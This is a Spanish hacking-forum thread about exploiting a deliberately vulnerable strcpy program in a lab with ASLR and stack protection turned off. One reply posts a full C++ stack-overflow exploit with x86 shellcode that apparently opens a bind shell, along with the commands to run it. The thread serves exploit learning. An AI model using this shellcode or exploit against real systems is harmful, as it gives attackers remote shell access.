Páginas: [1]
|
 |
|
Autor
|
Tema: [Problema] Escribiendo un exploit para BoF (Leído 1239 veces)
|
~ Yoya ~
Desconectado
Mensajes: 270
|
Buenas a todos, estoy diseñando un exploit en perl para explotar un programa vulnerable a BoF (buffer overflow) el problema mas grande de esto es brutear la direccion de retorno, que no se bien como haserle, ps aqui posteo algunos adelantos. Programa vulnerable: #include <stdio.h> #include <stdlib.h> #include <string.h> void funcion(char *ax); int main (int argc, char *argv[]) { if(argc<2) { printf("Uso: %s cadena\x0a", argv[0]) ; return 0; } funcion (argv[1]); return (0); } void funcion (char *ax) { char buffer[1024]; strcpy (buffer, ax); printf ("Cadena:\n%s\n", buffer); } Lo compilo, desactivo el VA protector y ahora paso a darle el bit suid # gcc vuln.c -o vuln -fno-stack-protector # sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 # chmod ug+s vuln
Oka, el problema esque nose como hare para codearle el exploit y explotarlo. Pd: Se puede decir que soy intermedio programando en perl, por si las dudas.
|
|
|
|
|
En línea
|
|
|
|
braulio23
Desconectado
Mensajes: 660
Dios mueve al jugador y este la pieza.
|
Una cosa que hice yo para explotar el primer BoF (me encantó conseguirlo) es hacer que se printara la dirección de memoria en la que se guarda el primer carácter de la variable y esa es la dirección que puedes poner de retorno. Lo hago con cout porque no se usar bien printf cout<<"Direccion : 0x"<<hex<<&buffer[0]<<endl;
Tendrías que ver con el debugger, el número exacto de carácteres que tienes que escribir para sobreescribir EIP (creo que seran 1036) , entonces la cadena que tendrás que pasarle al programa será algo así. (Imaginemos que la shellcode tiene 40 carácteres) 992 nops + shellcode (40 bytes) + direccion de retorno (4 bytes)(es la dirección de la variable en la que se copia argv[1])
Supongo que ya sabrás como codear el exploit. Suerte.
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Desconectado
Mensajes: 270
|
Ps te pediria dos cosas, nose muxo c++, pero le entiendo, diseña un exploit para explotar esa vulnerabilidad y lo paso a perl ,no entendi muxo tu code. cout<<"Direccion : 0x"<<hex<<&buffer[0]<<endl; Lo que veo, esque pasas a hex algun valor, me imagino que seria &buffer[0], pero nose que es, yaque parece una funcion creada, pero usa corchetes al final, no entiendo muxo c++, por lo que te pido que diseñes uno aver.
|
|
|
|
|
En línea
|
|
|
|
braulio23
Desconectado
Mensajes: 660
Dios mueve al jugador y este la pieza.
|
Este es el primer programa vulnerable que exploté : #include <iostream> #include <string.h>
using namespace std; int strcpyt(char **argv) { char vuln[512]; cout<<strlen(argv[1])<<" caracteres"<<endl; cout<<"Argv[1] = "<<argv[1]<<endl; cout<<"&Argv[1] = "<<&argv[1]<<endl; strcpy(vuln,argv[1]); cout<<"Vuln = "<<vuln<<endl; cout<<"&Vuln = "<<&vuln<<endl; return 0; } int main(int argc,char **argv) { strcpyt(argv); return 0; }
Te da información (para que sea mas fácil de explotar) sobre la direcciones de las variables, la longitud etc... Y esté es el exploit que programé : #include <iostream> #include <string.h> #include <stdlib.h> using namespace std; unsigned long sp(void) { __asm__("movl %esp, %eax");} int main(int argc,char **argv) { int hastaret = atoi(argv[1]); char shellcode[] = "\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80"; // int 80h char *nops = new char[hastaret-strlen(shellcode)-strlen("AAAA")]; for (int i=0;i<hastaret-strlen(shellcode)-strlen("AAAA");i++) nops[i] = '\x90'; nops[hastaret-strlen(shellcode)-strlen("AAAA")] = '\0'; char *evilinput = new char[hastaret]; long ret=sp(),*addrptr; addrptr = (long * )evilinput; for (int i=0;i<hastaret;i+=4) { (*(addrptr++)) = ret; } strcat(evilinput,nops); strcat(evilinput,shellcode); //strcat(evilinput,"AAAA"); cout<<"/***************************************************/"<<endl; cout<<"Usando "<<strlen(evilinput)<<" caracteres"<<endl; cout<<"RET = 0x"<<hex<<ret<<endl; cout<<"Usando "<<dec<<strlen(nops)<<" nops"<<endl; cout<<"/****************************************************/"<<endl; execl("./vuln","vuln", evilinput, 0); delete nops, evilinput; return 0; } Para que funcione tienes que llamar al programa vulnerable vuln y ponerlo en la misma ruta que el exploit, que te dirá cuantos nops usa, la dirección de retorno que usar... Compilar y explotar : # sysctl -w kernel.randomize_va_space=0 # g++ vuln.cpp -o vuln -f-no-stack-protector # g++ exploit.cpp -o exploit # ./exploit 1036 (bytes para sobreescribir EIP) (Te debería ejecutar el programa y dar shell)
Es posible que no te funcione por cambio de direcciones de memoria. Te recomiendo que dejes mi exploit e intentes debuguear el vuln por ti mismo y crear tu exploit a la que creo que le tendrás que poner una dirección de retorno fija porque creo que no se puede sacar en perl. Suerte , y , si tienes alguna duda pregunta.
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Desconectado
Mensajes: 270
|
Oka, lo que voy hacer, es inportar un modulo en perl para poder escribir codes en C++, pero te pregunto dos cosas.
Decime como sobreescribes la pilas con la shellcode para que generes NOP y como bruteas el offset en C++
|
|
|
|
|
En línea
|
|
|
|
braulio23
Desconectado
Mensajes: 660
Dios mueve al jugador y este la pieza.
|
La pila la sobreescribes inyectando mas carácteres que el número de carácteres que se reservó . Por ejemplo : char buffer[6]; strcpy(buffer,argv[1]);
Si haces : $ ./vuln holaholaolahola
Sobreescribirá las posiciones de memoria adyacentes y quizás hasta sobreescriba EIP.Lo de generar NOPS no se lo que quieres decir. Los nops son instrucciones para el procesador que lo que hacen es avanzar un ciclo sin hacer nada pero por lo menos son válidos para el procesador. En c++ lo que se hace para brutear el offset es obtener la dirección de ESP que es la dirección de la parte superior de la pila, eso se hace con esta función : unsigned long sp(void) { __asm__("movl %esp, %eax");}
Suerte
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Desconectado
Mensajes: 270
|
pero para sobreescribir la pila no es necesariamente primero ejecutar el debbuger luego sobreescribirla.
|
|
|
|
|
En línea
|
|
|
|
braulio23
Desconectado
Mensajes: 660
Dios mueve al jugador y este la pieza.
|
No, no hace falta, pero el debugger te lo facilita porque te da información de las direcciones , los registros ...
|
|
|
|
|
En línea
|
|
|
|
|
Anon
|
Buenas a todos, estoy diseñando un exploit en perl para explotar un programa vulnerable a BoF (buffer overflow) el problema mas grande de esto es brutear la direccion de retorno, que no se bien como haserle, ps aqui posteo algunos adelantos.
Es totalmente posible hacerlo en perl. Si no se quiere forcebrutear la direccion de retorno, se pueden usar las variables de entorno para hacerlo.
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Desconectado
Mensajes: 270
|
haber, me podais dar un ejemplo, con un code en perl, creo que se puede tomar la direccion ESP luego irle incrementando hasta que de la direccion de retorno, haber si me ilustras xD.
|
|
|
|
|
En línea
|
|
|
|
|
|
~ Yoya ~
Desconectado
Mensajes: 270
|
Bueno saliendo un poco del theme, hase tiempo tengo esta duda.
Se podria modificar la direccion esp, osea, esto me vino a la mente hase mucho ya que algunos exploit basados en vulnerabilidades de aplicaciones en este caso a Buffer overflow, tienen una direccion esp por defectos en sus exploit, u otros no tienen ninguna direccion de alguna memoria, ps me gustaria saber su funcionamiento.
|
|
|
|
|
En línea
|
|
|
|
|
Anon
|
En windows en es necesario conocer la direccion de un "jmp esp" que varia de sistema en sistema, de version y segun las dll que esten cargadas en memoria, como ya se a comentado. y sabemos que en esp esta nuestra shellcode.
En los exploits que no se ocupa saber la direccion de nuestro shellcode, solo tenemos una aproximacion inicial, el eip es sobre escrito con una direccion aproximada donde tenemos muchos "nop" (no operation) y despues de "resbalar" entre muchos nop, al final de ellos estara nuestra shellcode la cual se ejecutara.
Esperate unos dias y te tengo listo el video.
Saludos
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Desconectado
Mensajes: 270
|
Listo man, hay le espero y gracias por la información.
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1]
|
|
|
|